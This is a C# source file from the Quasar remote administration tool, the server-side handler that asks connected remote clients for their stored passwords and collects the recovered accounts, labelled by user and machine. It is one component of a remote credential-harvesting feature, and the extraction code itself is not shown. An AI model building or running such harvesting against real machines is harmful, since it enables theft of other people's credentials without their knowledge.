using Quasar.Common.Messages; using Quasar.Common.Models; using Quasar.Common.Networking; using Quasar.Server.Networking; using System.Collections.Generic; using System.Linq; namespace Quasar.Server.Messages { /// /// Handles messages for the interaction with the remote password recovery. /// public class PasswordRecoveryHandler : MessageProcessorBase { /// /// The clients which is associated with this password recovery handler. /// private readonly Client[] _clients; /// /// Represents the method that will handle recovered accounts. /// /// The message processor which raised the event. /// A unique client identifier. /// The recovered accounts public delegate void AccountsRecoveredEventHandler(object sender, string clientIdentifier, List accounts); /// /// Raised when accounts got recovered. /// /// /// Handlers registered with this event will be invoked on the /// chosen when the instance was constructed. /// public event AccountsRecoveredEventHandler AccountsRecovered; /// /// Reports recovered accounts from a client. /// /// The recovered accounts. /// A unique client identifier. private void OnAccountsRecovered(List accounts, string clientIdentifier) { SynchronizationContext.Post(d => { var handler = AccountsRecovered; handler?.Invoke(this, clientIdentifier, (List)d); }, accounts); } /// /// Initializes a new instance of the class using the given clients. /// /// The associated clients. public PasswordRecoveryHandler(Client[] clients) : base(true) { _clients = clients; } /// public override bool CanExecute(IMessage message) => message is GetPasswordsResponse; /// public override bool CanExecuteFrom(ISender sender) => _clients.Any(c => c.Equals(sender)); /// public override void Execute(ISender sender, IMessage message) { switch (message) { case GetPasswordsResponse pass: Execute(sender, pass); break; } } /// /// Starts the account recovery with the associated clients. /// public void BeginAccountRecovery() { var req = new GetPasswords(); foreach (var client in _clients.Where(client => client != null)) client.Send(req); } private void Execute(ISender client, GetPasswordsResponse message) { Client c = (Client) client; string userAtPc = $"{c.Value.Username}@{c.Value.PcName}"; OnAccountsRecovered(message.RecoveredAccounts, userAtPc); } } }